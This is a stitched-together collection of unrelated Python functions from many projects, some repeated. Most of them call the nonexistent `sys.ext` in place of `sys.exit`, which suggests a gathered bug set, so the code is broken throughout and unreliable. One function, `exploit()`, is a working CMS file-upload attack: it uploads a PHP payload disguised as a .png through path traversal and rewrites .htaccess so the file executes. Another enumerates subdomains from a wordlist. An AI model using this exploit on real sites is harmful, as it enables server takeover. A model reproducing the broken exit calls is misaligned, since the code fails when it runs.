def initServer(port): """ Function ~ initServer Parameters ~ port number Preconditions ~ valid port number Postconditions ~ returns a bound socket file descriptor Description ~ prepares the socket as a TCP socket, then sets the sockopt for reuse so the OS doesn't hold on to it after the program quits, tries to bind the port number and localhost to the socket. then begings listening on the socket returns the listening socket. """ host = '' try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) except socket.error: print('Failed to create socket') sys.exit() sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: sock.bind((host, port)) except socket.error: print('Failed to bind socket') sys.ext() sock.listen(1) return sock
def main(): parser = argparse.ArgumentParser( description="Downloading Videos from the given link and saving in local machine") parser.add_argument( '-u', '--url', help="Enter the URL path you want to traverse for downloading mp4 files ", required=True) parser.add_argument( '-f', '--folder', help="Enter the folder location ", required=True) parser.add_argument( '-m', '--moviename', help="Enter the movie to make filename at the end") args = parser.parse_args() if args.url: url = args.url print url if not args.folder: print "Please Enter folder location " sys.ext() if args.moviename: movie_name = args.moviename folder_path = args.folder if os.chdir(folder_path): print "Directory successfully changed to location - ", folder_path # url = "http://www.songspk.link/dastak1996.html" # url = "http://www.mymp3song.com/filelist/747/navrang_(1959)_%3A_mp3_songs/new2old/1" prepare_url(url, movie_name, folder_path)
def welcome(): start = input("Press enter/return to start or Q to quit").lower() if start =='q': print("Bye!") sys.ext() else: return True
def getbpp(fname): f = open(fname+'_dp.ps','r') ubox = [] lbox = [] pair = [] index = -1 for line in f: line.strip() if(re.search('\d+.*ubox',line)): line = re.sub('\\n','',line) pair = re.split('\s+',line) ubox.append(pair) elif(re.search('\d+.*lbox',line)): line = re.sub('\\n','',line) pair = re.split('\s+',line) lbox.append(pair) for l in lbox: ##optimize this search? for u in range(len(ubox)): if((l[0]==ubox[u][0])and(l[1]==ubox[u][1])): index = u if(index >= 0 ): #print "pop" # ubox.pop(u) index = -1 else: print "ERROR: " + str(l) + " has no ubox match" sys.ext(2) out = sorted(ubox, compare) commands.getoutput('rm '+fname+'*.ps') return out
def main(): """Make a jazz noise here""" grid_num = list(range(1, 10)) grid = [grid_num[i:i + 3] for i in range(0, 9, 3)] args = get_args() state = args.state player = args.player cell = args.cell if len(sys.argv) == 1: print('-' * 13) for row in grid: print('|', row[0], '|', row[1], '|', row[2], '|') print('-' * 13) sys.ext(0) state_character = '.-XO' for character in state: if state != '.........' and (len(state) != 9 or (character not in state_character)): print( die(msg='Invalid state "{}",must be 9 characters of only -,X,O' .format(state))) player_character = 'XO' if player not in player_character: print(die(msg='Invalid player "{}",must be X or O'.format(player))) if cell is not None and not 1 <= cell <= 9: print(die(msg='Invalid cell "{}",must be 1-9'.format(cell))) if (any([cell, player]) and not all([cell, player])) is True: print('Must provided both --player and --cell') sys.exit(1)
def error_check(self): if (int(self.dict['crys_a_layers']) <= 0): printx('Error: crys_a_layers must be 1 or greater') sys.ext(1) if (int(self.dict['crys_b_layers']) <= 0): printx('Error: crys_b_layers must be 1 or greater') sys.exit(1) if (float(self.dict['separation']) < 0.0): printx('Error: separation can not be negative') sys.exit(1) if (int(self.dict['max_atoms']) <= 0): printx('Error: max_atoms must be greater than 0') sys.exit(1) if (int(self.dict['max_mpi_processes']) < 1): printx('Error: max_mpi_processes must be 1 or greater') sys.exit(1) if (int(self.dict['atoms_per_process']) < 1): printx('Error: atoms_per_process must be 1 or greater') sys.exit(1) if (np.mod(int(self.dict['number_of_layers_a']), 2) != 0): printx('Error: number_of_layers_a must be a multiple of 2') sys.exit(1) if (np.mod(int(self.dict['number_of_layers_b']), 2) != 0): printx('Error: number_of_layers_b must be a multiple of 2') sys.exit(1) if (self.dict['energy_levels_ET'] is not None): if (len(self.dict['energy_levels_ET']) != 3): printx('Error: energy_levels_ET must have all 3' ' values specified') sys.exit(1) if almost_zero( float(self.dict['separation']) - float(self.dict['sep_guess'])): printx("Error: separation and sep_guess can't be the same." " Nudging sep_guess") self.dict['sep_guess'] = float(self.dict['sep_guess']) + 0.1 energy_options = ['lammps', 'cp2k'] match = 0 for k in energy_options: if (self.dict['energy_method'] == k): match = 1 if (match != 1): printx("Error: energy_method is not a valid option.") sys.exit(1) for i in self.logicals: if (self.dict[i] != 'True' and self.dict[i] != 'False'): printx('Error: {0} must be either True or False'.format(i)) sys.exit(1) return
def parse_citation(citation, score_threshold=None, normalized_score_threshold=100): # Find DOI from CrossRef. base = "http://search.crossref.org" ext = "/dois?q=" + citation r = requests.get(base+ext, headers = {"Content-Type": "application/json"}) if not r.ok: r.raise_for_status() sys.ext() decoded = r.json() doi_list = [] for potential_ref in decoded: if normalized_score_threshold is not None and score_threshold is None: if potential_ref["normalizedScore"] >= normalized_score_threshold: print(potential_ref["normalizedScore"]) doi_list.append(potential_ref["doi"].split("http://dx.doi.org/")[1]) elif score_threshold is not None and normalized_score_threshold is None: if potential_ref["score"] >= score_threshold: print(potential_ref["score"]) doi_list.append(potential_ref["doi"].split("http://dx.doi.org/")[1]) else: if potential_ref["score"] >= score_threshold and potential_ref["normalizedScore"] >= normalized_score_threshold: print(potential_ref["score"]) doi_list.append(potential_ref["doi"].split("http://dx.doi.org/")[1]) final_refs = [] for doi in doi_list: temp_ref = gnomics.objects.reference.Reference(identifier = doi, identifier_type = "DOI", source = "CrossRef") final_refs.append(temp_ref) return final_refs
def report(log_file_names, args): # We only accept one log file if len(log_file_names) != 1: sys.exit("'timegraph' report uses one log file.") else: log_file_name = log_file_names[0] optstring = "m" longopts = [] process_types = timegraph.ALL_PROCS try: opts, args = getopt.getopt(args, optstring, longopts) except getopt.GetoptError: usage() sys.exit(1) for opt, arg in opts: if opt == "-m": process_types = timegraph.ONLY_MAKES else: sys.ext("Unexpected option %s" % (opt,)) run_timeline(log_file_name, process_types)
def combineFiles(folderName,writefilename): filelist = [filename for filename in os.listdir(folderName) if 'txt' in filename] for filename in filelist: reader = open(os.path.join(folderName,filename),'r') length = len(reader.next().split(',')) for index,line in enumerate(reader): if len(line.split(','))!= length: print filename,index,line readers = [open(os.path.join(folderName,x),'r') for x in filelist] writefile = open(writefilename,'w') writefile.write(','.join(filelist)+'\n') for line in zip(*readers): linelist = map(lambda one: one.strip().split(','),line) lineid = linelist[0][0] for columns in linelist: if columns[0] != lineid: print 'line id do not match' sys.ext() newline = [lineid] for features in linelist: newline.extend(features[1:]) writefile.write(','.join(newline)+'\n') break for reader in readers: reader.close() writefile.close()
def init_live_capture(es, tshark, nic, bpf, chunk, count): """ Set up for live packet capture. :param es: Elasticsearch cluster handle, None if packets are dumped to stdout :param tshark: Tshark instance :param indexer: Indexer instance :param nic: Network interface :param bpf: Packet filter expression :param chunk: Number of packets to index in Elasticsearch at a time. :param count: Number of packets to capture, 0 if capturing indefinitely, """ try: command = tshark.make_command(nic=nic, count=count, bpf=bpf, pcap_file=None, interfaces=False) capture = tshark.capture(command) if es is None: dump_packets(capture) else: helpers.bulk(client=es, actions=index_packets(capture=capture), chunk_size=chunk, raise_on_error=True) except Exception as e: print('[ERROR] ', e) syslog.syslog(syslog.LOG_ERR, e) sys.ext(1)
def combineFiles(folderName, writefilename): filelist = [ filename for filename in os.listdir(folderName) if 'txt' in filename ] for filename in filelist: reader = open(os.path.join(folderName, filename), 'r') length = len(reader.next().split(',')) for index, line in enumerate(reader): if len(line.split(',')) != length: print filename, index, line readers = [open(os.path.join(folderName, x), 'r') for x in filelist] writefile = open(writefilename, 'w') writefile.write(','.join(filelist) + '\n') for line in zip(*readers): linelist = map(lambda one: one.strip().split(','), line) lineid = linelist[0][0] for columns in linelist: if columns[0] != lineid: print 'line id do not match' sys.ext() newline = [lineid] for features in linelist: newline.extend(features[1:]) writefile.write(','.join(newline) + '\n') break for reader in readers: reader.close() writefile.close()
def main(): try: opts, args = getopt.getopt( sys.argv[1:], "hc:l:r:o:", [ "help", "colorTable=", "labelFilename=", "referenceFilename=", "outputFileBasename=", ], ) except getopt.GetoptError as err: print((str(err))) print( "WorkupComputeLabelVolume.py -c <colorTable> -l <labelFilename> -r <referenceFilename> -o <outputFileBasename>" ) sys.exit(2) colorTable = "" labelFilename = "" outputFileBasename = "" referenceFilename = "" for opt, arg in opts: if opt == "-h": print( "WorkupComputeLabelVolume.py -c <colorTable> -l <labelFilename> -r <referenceFilename> -o <outputFileBasename>" ) sys.ext() elif opt in ("-c", "--colorTable"): colorTable = arg elif opt in ("-l", "--labelFilename"): labelFilename = arg elif opt in ("-r", "--referenceFilename"): referenceFilename = arg elif opt in ("-o", "--outputFileBasename"): outputFileBasename = arg if colorTable and labelFilename and outputFileBasename: print( ( """ Arguments: color table: {0} labelFile: {1} referenceFilename: {2} outputFileBasename: {3}""".format( colorTable, labelFilename, referenceFilename, outputFileBasename ) ) ) outputFiles = volume_measure( colorTable, labelFilename, referenceFilename, outputFileBasename ) print(outputFiles) else: print( "WorkupComputeLabelVolume.py -c <colorTable> -l <labelFilename> -o <outputFileBasename>" )
def set_imdb_movie_data(id, imdb_id): try: # Set to lowercase for API. It seems to be sensitive that way. query_string = {"i": imdb_id, "plot": "full", "r": "json"} headers = {'x-rapidapi-host': IMDB_HOST, 'x-rapidapi-key': IMDB_KEY} response = requests.request('GET', IMDB_URL, headers=headers, params=query_string) imdbMovieDict = json.loads(response.text) print(imdbMovieDict) if imdbMovieDict['Response'] == 'True': m = imdbMovieDict # Exceptions for TV Series. The following keys are not present if type="series". if 'DVD' in m: dvd = m['DVD'] else: dvd = '' if 'BoxOffice' in m: box_office = m['BoxOffice'] else: box_office = '' if 'Production' in m: production_house = m['Production'] else: production_house = '' if 'Website' in m: website_url = m['Website'] else: website_url = '' # Replace title with exact IMDB title. conn = sqlite3.connect(MOVIE_DB) cur = conn.cursor() #pdb.set_trace() cur.execute( UPDATE_MOVIE_DATA, (m['Title'], m['Year'], m['Rated'], m['Released'], m['Runtime'], m['Genre'], m['Director'], m['Writer'], m['Actors'], m['Plot'], m['Language'], m['Country'], m['Awards'], m['Poster'], m['Metascore'], m['imdbRating'], m['Type'], dvd, box_office, production_house, website_url, '2020-01-07', id, imdb_id)) conn.commit() conn.close() #pdb.set_trace() except sqlite3.Error as err: print(err) sys.ext(1)
def __parse_byteorderid__(self): byteorder = ['little-endian', 'big-endian'] if self.buf[28] == '\xFE' and self.buf[29] == '\xFF': return byteorder[0] elif self.buf[28] == '\xFF' and self.buf[29] == '\xFE': return byteorder[1] else: print("ERROR: wrong byte order identifier!\n") sys.ext(1)
def exploit(): """ First sends the payload as a multi-part HTTP POST request that creates a randomly named .png file containing malicious PHP before sending a request to modify the content of .htaccess to disable the RewriteEngine and handle .png file requests as application/x-httpd-php MIME type. """ # Obtain the CSRF token for form submission csrf_token, uuid = get_csrf_uuid( TARGET_URI + '/admin/new-content/index.php', 1) url = TARGET_URI + '/admin/ajax/upload-images' # Send request to create malicious .png within the /bl-content/tmp directory files = { 'images[]': (EXPLOIT_FILENAME + '.png', PAYLOAD), 'uuid': (None, '../../tmp'), 'tokenCSRF': (None, csrf_token) } try: response = SESSION.post(url, files=files) except requests.exceptions.RequestException as e: print('[!] Falied sending HTTP request: ', e) sys.exit(1) # Verify it was successful if response.status_code == 200: print('[+] Upload of malicious file ' + EXPLOIT_FILENAME + '.png successful!') else: print( '[!] Error creating malicious .png file. Received HTTP response code: ' + response.status_code) sys.ext(1) # Disable RewriteEngine and change MIME type for .png files to application/x-httpd-php files = { 'images[]': ('.htaccess', 'RewriteEngine off\nAddType application/x-httpd-php .png'), 'uuid': (None, uuid), 'tokenCSRF': (None, csrf_token) } try: response = SESSION.post(url, files=files) except requests.exceptions.RequestException as e: print('[!] Falied sending HTTP request: ', e) sys.exit(1) # Verify it was successful if response.status_code == 200: print('[+] Modification of .htaccess successful!') else: print('[!] Error modifying .htaccess. Received HTTP response code: ' + response.status_code) sys.ext(1)
def add_vm(vmparams, name, vmdisk, nic_net1): try: api.vms.add(vmparams) except Exception as e: print "Error creating VM with specified parameters, recheck your params" print e sys.exit(1) if verbosity > 1: print "VM created successfuly" if verbosity > 1: print "Attaching networks and boot order..." vm = api.vms.get(name=name) vm.nics.add(nic_net1) try: vm.update() except: print "Error attaching networks, please recheck and remove configurations left behind" sys.exit(1) if verbosity > 1: print "Adding HDD" try: vm.disks.add(vmdisk) except: print "Error attaching disk, please recheck and remove any leftover configuration" sys.ext(1) if verbosity > 1: print "Setting boot order" try: hd_boot_dev = params.Boot(dev='hd') net_boot_dev = params.Boot(dev='network') vm.os.set_boot([net_boot_dev, hd_boot_dev]) except: print "Error setting boot order" sys.exit(1) if verbosity > 1: print "VM creation successful" vm = api.vms.get(name=name) vm.high_availability.enabled = True vm.update() #wait until VM is stopped before we start it. status = api.vms.get(name=name).status.state while status != 'down': print status time.sleep(1) status = api.vms.get(name=name).status.state vm.start()
def main(): """Make a jazz noise here""" FILE = args[0] if len (sys.argv) == 0: print('usage: translate_proteins.py [-h] -c FILE [-o FILE] STR') print('translate_proteins.py: error: the following arguments are required: STR, -c/--codons') sys.ext(1) if not os.path.isfile(FILE): print('--condons "{}" is not a file'.format(FILE))
def main(): try: opts, args = getopt.getopt( sys.argv[1:], "hc:l:r:o:", [ "help", "colorTable=", "labelFilename=", "referenceFilename=", "outputFileBasename=", ], ) except getopt.GetoptError as err: print((str(err))) print( "WorkupComputeLabelVolume.py -c <colorTable> -l <labelFilename> -r <referenceFilename> -o <outputFileBasename>" ) sys.exit(2) colorTable = "" labelFilename = "" outputFileBasename = "" referenceFilename = "" for opt, arg in opts: if opt == "-h": print( "WorkupComputeLabelVolume.py -c <colorTable> -l <labelFilename> -r <referenceFilename> -o <outputFileBasename>" ) sys.ext() elif opt in ("-c", "--colorTable"): colorTable = arg elif opt in ("-l", "--labelFilename"): labelFilename = arg elif opt in ("-r", "--referenceFilename"): referenceFilename = arg elif opt in ("-o", "--outputFileBasename"): outputFileBasename = arg if colorTable and labelFilename and outputFileBasename: print((""" Arguments: color table: {0} labelFile: {1} referenceFilename: {2} outputFileBasename: {3}""".format(colorTable, labelFilename, referenceFilename, outputFileBasename))) outputFiles = volume_measure(colorTable, labelFilename, referenceFilename, outputFileBasename) print(outputFiles) else: print( "WorkupComputeLabelVolume.py -c <colorTable> -l <labelFilename> -o <outputFileBasename>" )
def run_game(): pygame.init() screen = pygame.display.set_mode((1200, 800)) pygame.display.set_caption("Alien Invasion") while True: for event in pygame.event.get(): if event.type == pygame.QUIT: sys.ext() pygame.display.flip()
def file_check(file_name): f = None try: f = open(file_name, 'r') except FileNotFoundError: print('No input file.') sys.ext(1) except PermissionError: print('Could not open file.') sys.exit(1) finally: return f
def main(): """The main function used to call initial setup and other function calls """ try: opts, args = getopt.getopt(sys.argv[1:], "h", ["help"]) except getopt.error as msg: print(msg) print("for help use --help") sys.ext(2) for o, a in opts: if o in ("-h", "--help"): print(__doc__) sys.exit(0) input1 = args[0] input2 = args[1] output1 = args[2] output2 = args[3] output3 = args[4] #Declaring the data structure. datastruct = {} # setting up the initial structure init_setup(input1, datastruct) #processing input2(stream.txt) text_file = open(input2).readlines() result1 = open(output1, 'w') result2 = open(output2, 'w') result3 = open(output3, 'w') n = len(text_file) for l in range(1, n): line = text_file[l].strip() line = text_file[l].split(",") if len(line) == 5: time = line[0] id1 = line[1] id2 = line[2] amount = float(line[3]) message = line[4] listpair = ( id1, id2 ) # for this problem I use only the user ids to detect fraud. #testing feature 1 solution1 = check_friendship(datastruct, listpair) if solution1: result1.write(solution1 + '\n') #testing feature 2 solution2 = check_if_in_2nddegree_friendship(datastruct, listpair) if solution2: result2.write(solution2 + '\n') solution3 = check_if_in_4thdegree_network(datastruct, listpair, 4) if solution3: result3.write(solution3 + '\n') result1.close() result2.close() result3.close()
def execute(self, callback=None): """ Given the command-line arguments, this figures out which subcommand is being run, creates a parser appropriate to that command, and runs it. """ # Preprocess options to extract --settings and --pythonpath. # These options could affect the commands that are available, so they # must be processed early. self.parser = parser = NewOptionParser( prog=self.prog_name, usage=self.usage_info, # version=self.get_version(), formatter=NewFormatter(), add_help_option=False, option_list=self.option_list) if not self.global_options: global_options, args = parser.parse_args(self.argv) global_options.apps_dir = os.path.normpath( os.path.join(global_options.project, 'apps')) handle_default_options(global_options) args = args[1:] else: global_options = self.global_options args = self.argv if global_options.envs: for x in global_options.envs: if '=' in x: k, v = x.split('=') os.environ[k.strip()] = v.strip() else: print( 'Error: environment variable definition (%s) format is not right, ' 'shoule be -Ek=v or -Ek="a b"' % x) global_options.settings = global_options.settings or os.environ.get( 'SETTINGS', 'settings.ini') global_options.local_settings = global_options.local_settings or os.environ.get( 'LOCAL_SETTINGS', 'local_settings.ini') if callback: callback(global_options) if len(args) == 0: if global_options.version: print self.get_version() sys.exit(0) else: self.print_help(global_options) sys.ext(1) self.do_command(args, global_options)
def main(argv): postcode='' try: opts, args =getopt.getopt(argv, "hi:o:", ["ifile", "ofile"]) except getopt.GetoptError: print 'dmi.py -i <query>' sys.ext(2) postcode= args[0] # print args[0] dmi = 'http://www.dmi.dk/vejr/til-lands/byvejr/by/vis/DK/%s' % (postcode) webbrowser.open_new(dmi)
def run(self): while True: #listen for clients and create a new clientthre for each new client print "Listening for more clients" try: (client_socket, client_address) = self.listener.accept() except socket.error: sys.ext("Could not accept any more connections") self.client_sockets.append(client_socket) print "Starting Client thred for {0}".format(client_address) client_thread = ClientListener(self, client_socket, client_address) client_thread.start() time.sleep(0.1)
def scattering_angle(sza, vza, phi, Expand=False, Degree=False): """ Function scattering_angle() calculates the scattering angle. cos(pi-THETA) = cos(theta)cos(theta0) + sin(theta)sin(theta0)cos(phi) Input and output are in the unit of PI Parameters ---------- sza: solar zenith angle is radian vza: viewing zenith angle in radian phi: relative azimuth angle in radian Expand: (optional) Ture/False to expand the dimension of calculated THETA Returns ------- THETA: scattering angle in radian """ # Change angle from degree to radian if needed if Degree: angle2rad = np.pi / 180. sza = sza * angle2rad vza = vza * angle2rad phi = phi * angle2rad # define the m, n, l = np.size(sza), np.size(vza), np.size(phi) if Expand: THETA = np.zeros((m, n, l)) for k in range(l): for j in range(n): for i in range(m): t1 = np.cos(vza[j]) * np.cos(sza[i]) \ + np.sin(vza[j]) * np.sin(sza[i]) * np.cos(phi[k]) t2 = np.arccos(t1) THETA[i, j, k] = np.pi - t2 else: # Check the dimension if ((m != n) | (m != l)): sys.ext("scattering_angle() error #1 in util.py") t1 = np.cos(vza) * np.cos(sza) \ + np.sin(vza) * np.sin(sza) * np.cos(phi) t2 = np.arccos(t1) THETA = np.pi - t2 if Degree: THETA = THETA * 180. / np.pi return THETA
def get_movies(): movies = [] try: conn = sqlite3.connect(MOVIE_DB) cur = conn.cursor() cur.execute(SELECT_MOVIES) movies = cur.fetchall() except sqlite3.Error as err: print(err) sys.ext(1) conn.close() return movies
def get_website_info(url): with open('./domains.txt', 'r') as file: for line in file: try: domain_url = 'https://' + line.strip() + "." + url response = get(domain_url) if response: print("\n[+] Subdomain Discovered: " + domain_url) get_urls(domain_url) except exceptions.ConnectionError: pass except KeyboardInterrupt: ext()
def execute(self, callback=None): """ Given the command-line arguments, this figures out which subcommand is being run, creates a parser appropriate to that command, and runs it. """ # Preprocess options to extract --settings and --pythonpath. # These options could affect the commands that are available, so they # must be processed early. self.parser = parser = NewOptionParser(prog=self.prog_name, usage=self.usage_info, # version=self.get_version(), formatter = NewFormatter(), add_help_option = False, option_list=self.option_list) if not self.global_options: global_options, args = parser.parse_args(self.argv) global_options.apps_dir = os.path.normpath(os.path.join(global_options.project, 'apps')) handle_default_options(global_options) args = args[1:] else: global_options = self.global_options args = self.argv if global_options.envs: for x in global_options.envs: if '=' in x: k, v = x.split('=') os.environ[k.strip()] = v.strip() else: print ('Error: environment variable definition (%s) format is not right, ' 'shoule be -Ek=v or -Ek="a b"' % x) global_options.settings = global_options.settings or os.environ.get('SETTINGS', 'settings.ini') global_options.local_settings = global_options.local_settings or os.environ.get('LOCAL_SETTINGS', 'local_settings.ini') if callback: callback(global_options) if len(args) == 0: if global_options.version: print self.get_version() sys.exit(0) else: self.print_help(global_options) sys.ext(1) self.do_command(args, global_options)
def initCamera(): global size camera = cvCreateCameraCapture(1) if not camera: print "Could not open webcam!" sys.ext(1) cvSetCaptureProperty(camera, CV_CAP_PROP_FRAME_WIDTH, 320) cvSetCaptureProperty(camera, CV_CAP_PROP_FRAME_HEIGHT, 240) frame = cvQueryFrame(camera) if frame is not None: w = frame.width h = frame.height print "%d %d" % (w, h) size = cvSize(w, h) time.sleep(1) return camera
def initCamera(): global size camera = cvCreateCameraCapture(1) if not camera: print "Could not open webcam!" sys.ext(1) cvSetCaptureProperty(camera, CV_CAP_PROP_FRAME_WIDTH, 320) cvSetCaptureProperty(camera, CV_CAP_PROP_FRAME_HEIGHT, 240) frame = cvQueryFrame(camera) if frame is not None: w = frame.width h = frame.height print "%d %d"%(w, h) size = cvSize(w, h) time.sleep(1) return camera
def get_time(self): if self.timestart is not None and self.timeend is not None: t1 = self._istimeformat(self.timestart) t2 = self._istimeformat(self.timeend) if t1: st = int(time.mktime(time.strptime(t1, "%Y-%m-%d %H:%M:%S"))) if t2: et = int( time.mktime(time.strptime(t2, "%Y-%m-%d %H:%M:%S"))) if st > et: print "开始时间超过结束时间。" sys.exit(2) else: return st, et else: print "结束时间格式不对,请检查后再用" sys.exit(1) else: print "开始时间格式不对" sys.exit(1) elif self.timestart is not None and self.timeend is None: t1 = self._istimeformat(self.timestart) temp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") t2 = self._istimeformat(temp) if t1: st = int(time.mktime(time.strptime(t1, "%Y-%m-%d %H:%M:%S"))) et = et = int( time.mktime(time.strptime(t2, "%Y-%m-%d %H:%M:%S"))) return st, et else: print "开始时间格式不对" sys.ext(1) elif self.timestart is None and self.timeend is None: et = datetime.datetime.now() end_time = et.strftime("%Y-%m-%d %H") end_time = end_time + ":00:00" start_time = ( datetime.datetime.now() - datetime.timedelta(hours=self.hours)).strftime("%Y-%m-%d %H") start_time = start_time + ":00:00" st = int( time.mktime(time.strptime(start_time, "%Y-%m-%d %H:%M:%S"))) et = int(time.mktime(time.strptime(end_time, "%Y-%m-%d %H:%M:%S"))) return st, et else: print "时间格式不对" sys.exit(3)
def ParseCommandLine(self,Arguments): (Options,Args) = getopt.getopt(Arguments,"r:w:t:pa") OptionsSeen = {} for (Option,Value) in Options: OptionsSeen[Option] = 1 if Option == "-r": if not os.path.exists(Value): print "ERROR: %s is not a valid file or directory"%Value sys.exit(0) if not os.path.isdir(Value): self.InputFiles = [Value] else: Files = os.listdir(Value) self.InputFiles = [] for FileName in Files: self.InputFiles.append(os.path.join(Value,FileName)) elif Option == "-w": if not os.path.exists(Value): os.makedirs(Value) self.OutputDir = Value elif Option == "-t": if not os.path.isfile(Value): print "ERROR: %s is not a valid database file"%Value sys.exit(0) IndexFileName = os.path.splitext(Value)[0] + ".index" if not os.path.isfile(IndexFileName): print "ERROR: Unable to find index file %s for trie file %s"%(IndexFileName,Value) sys.ext(0) self.TrieFiles.append(Value) self.IndexFiles.append(IndexFileName) elif Option == "-p": self.DoParsimony = 1 elif Option == "-a": self.DoParsimonyAndGroup = 1 else: print "ERROR %s is not a valid argument"%Option if not OptionsSeen.has_key("-r") or not OptionsSeen.has_key("-w") or not OptionsSeen.has_key("-t"): print "ERROR: Missing arguments" print UsageInfo sys.exit(0)
def lockin_select(cfg, cxn): lck = cxn.sr830 lockins_requested = cfg['measurement']['lockins'] lockins_present = len(lck.list_devices()) if lockins_present < lockins_requested: sys.exit(['Not enough lockins connected to perform measurement.']) if cfg['measurement']['autodetect_lockins']: if (lockins_present == 1) & (lockins_requested == 1): return 0, 0 elif (lockins_present == 2) & (lockins_requested == 2): lck.select_device(0) if lck.input_mode() < 2: if (cfg['lockin1']['type']) == 'V': return 0, 1 elif (cfg['lockin1']['type']) == 'I': return 1, 0 elif lockins_requested == 1: for i in range(lockins_present): lck.select_device(i) if ((cfg['lockin1']['type']) == 'V') & (lck.input_mode() < 2): return i, 1 elif ( (cfg['lockin1']['type']) == 'I') & (lck.input_mode() >= 2): return i, 1 else: sys.ext(['Lockin autodetection failed.']) else: lck_list = lck.list_devices() lck_num = [] l1 = -1 l2 = -1 for j in range(len(lck_list)): lck_num = lck_list[j][1] lck_num = lck_num.split("::")[-2] lck_num = int(lck_num) print lck_num if int(cfg['lockin1']['GPIB']) == lck_num: l1 = j elif (lockins_requested == 2) & (int(cfg['lockin2']['GPIB']) == lck_num): l2 = j if (l1 == -1) | ((lockins_requested == 2) & (l2 == -1)): sys.exit(['Lockins not found, please check GPIB addresses.']) return l1, l2
def read_argv(argv): try: opts, args = getopt.getopt(argv, "h:z:s:", ["", "z=", "s="]) except getopt.GetoptError: return_help() sys.exit(2) for opt, arg in opts: if opt in ('-h', '--help'): return_help() sys.exit(0) elif opt in ('-z', '--zki'): otvori_json(sys.argv[2], True) elif opt in ('-s', '--send'): otvori_json(sys.argv[2], False) else: return_help() sys.ext(2)
def get_events(args): url = "http://%s:%d/events" % (args.hostname, args.port) if args.timeout is not None: to = args.timeout # Build the request and load it try: if not args.username and not args.password: req = urllib2.urlopen(url, timeout=to) elif args.username and args.password: print("Username/Password not supported ANYMOAR MOUAHAHA.") sys.exit(STATE_CRITICAL) else: print("Error: please provide both username and password.") req = None except urllib2.HTTPError as e: print('CRITICAL: HTTPError = ' + str(e.code)) sys.exit(STATE_CRITICAL) except urllib2.URLError as e: print('CRITICAL: URLError = ' + str(e.reason)) sys.exit(STATE_CRITICAL) except httplib.HTTPException as e: print('CRITICAL: HTTPException') sys.exit(STATE_CRITICAL) # Exit if empty requests object if not req: sys.exit(STATE_UNKNOWN) # Handle HTTP codes if req.getcode() == 200: try: res = json.loads(req.read()) except Exception: print("UNKNOWN: Error decoding JSON Object.") sys.exit(STATE_UNKNOWN) format_json_and_exit(events=res, info=args.info) # Error elif req.getcode() == 500: print("CRITICAL: Sensu API returned an HTTP 500. Is RabbitMQ/sensu-server running?") sys.ext(STATE_CRITICAL) else: print("CRITICAL: Bad response (%d) from Sensu API." % (req.getcode())) sys.exit(STATE_CRITICAL)
def intro_loop(): intro = True while intro: for event in pygame.event.get(): if event.type == pygame.QUIT: pygame.quit() quit() sys.ext() gamedisplays.blit(intro_background, (0, 0)) largetext = pygame.font.Font('8bit16.ttf', 115) TextSurf, TextRect = text_objects("CAR RUSH", largetext) TextRect.center = (530, 75) gamedisplays.blit(TextSurf, TextRect) button("START", 120, 620, 150, 50, green, bright_green, "play") button("INSTRUCTION", 395, 620, 250, 50, blue, bright_blue, "intro") button("QUIT", 770, 620, 150, 50, red, bright_red, "quit") pygame.display.update() clock.tick(50)
def replace_irrevelant(self): if 'intents' not in self.data: print('ERROR: intents not found in file') sys.ext() for intentElem in self.data['intents']: if "irrevelant" not in intentElem['intent']: continue if 'counterexamples' not in self.data: self.data['counterexamples'] = [] counterExampleList = [e['text'] for e in self.data['counterexamples'] if 'text' in e] for example in intentElem['examples']: if example['text'] not in counterExampleList: self.data['counterexamples'].append(example) #self.data['counterexamples'] += intentElem['examples'] self.data['intents'].remove(intentElem)
def init_file_capture(es, tshark, pcap_files, chunk, stop_on_error=False): """ Set up for file packet capture. :param stop_on_error: while indexing raise error/exception and stop indexing :param es: Elasticsearch cluster handle, None if packets are dumped to stdout :param tshark: Tshark instance :param indexer: Indexer instance :param pcap_files: PCAP input file from where packets are read. :param chunk: Number of packets to index in Elasticsearch at a time. """ try: print('Loading packet capture file(s)') for pcap_file in pcap_files: command = tshark.make_command(nic=None, count=0, bpf=None, pcap_file=pcap_file, interfaces=None) print(pcap_file) capture = tshark.capture(command) if es is None: dump_packets(capture) else: for ok, response in helpers.streaming_bulk( client=es, actions=index_packets(capture=capture), chunk_size=chunk, raise_on_error=stop_on_error, raise_on_exception=stop_on_error, request_timeout=3600): if not ok: # failure inserting try: log(json.dumps(response)) except (TypeError, OverflowError): if isinstance(response, str): log(response) else: log("There is an error in unknown type: {}". format(type(response))) except Exception as e: print('[ERROR] ', e) syslog.syslog(syslog.LOG_ERR, e) sys.ext(1)
def getUserEnhancedFactor(self, uid, seg_num): if seg_num < 2: print seg_num print 'Invalid segment number' sys.exit(1) try: if uid not in self.user_buy_num or len(self.user_buy_num[uid][seg_num-2]) == 0: return 0 except: print seg_num sys.ext(1) total_num = 0 for pid in self.user_buy_num[uid][seg_num-2]: for penality in self.user_buy_num[uid][seg_num-2][pid][1]: self.u_enhanced_factor +=\ penality*self.product_factor[self.pid_dict[pid]] total_num += self.user_buy_num[uid][seg_num-2][pid][0] self.u_enhanced_factor = self.u_enhanced_factor/total_num return total_num
def parse_citation(citation, score_threshold=None, normalized_score_threshold=100): # Find DOI from CrossRef. base = "http://search.crossref.org" ext = "/dois?q=" + citation r = requests.get(base + ext, headers={"Content-Type": "application/json"}) if not r.ok: r.raise_for_status() sys.ext() decoded = r.json() doi_list = [] for potential_ref in decoded: if normalized_score_threshold is not None and score_threshold is None: if potential_ref["normalizedScore"] >= normalized_score_threshold: print(potential_ref["normalizedScore"]) doi_list.append( potential_ref["doi"].split("http://dx.doi.org/")[1]) elif score_threshold is not None and normalized_score_threshold is None: if potential_ref["score"] >= score_threshold: print(potential_ref["score"]) doi_list.append( potential_ref["doi"].split("http://dx.doi.org/")[1]) else: if potential_ref["score"] >= score_threshold and potential_ref[ "normalizedScore"] >= normalized_score_threshold: print(potential_ref["score"]) doi_list.append( potential_ref["doi"].split("http://dx.doi.org/")[1]) final_refs = [] for doi in doi_list: temp_ref = gnomics.objects.reference.Reference(identifier=doi, identifier_type="DOI", source="CrossRef") final_refs.append(temp_ref) return final_refs
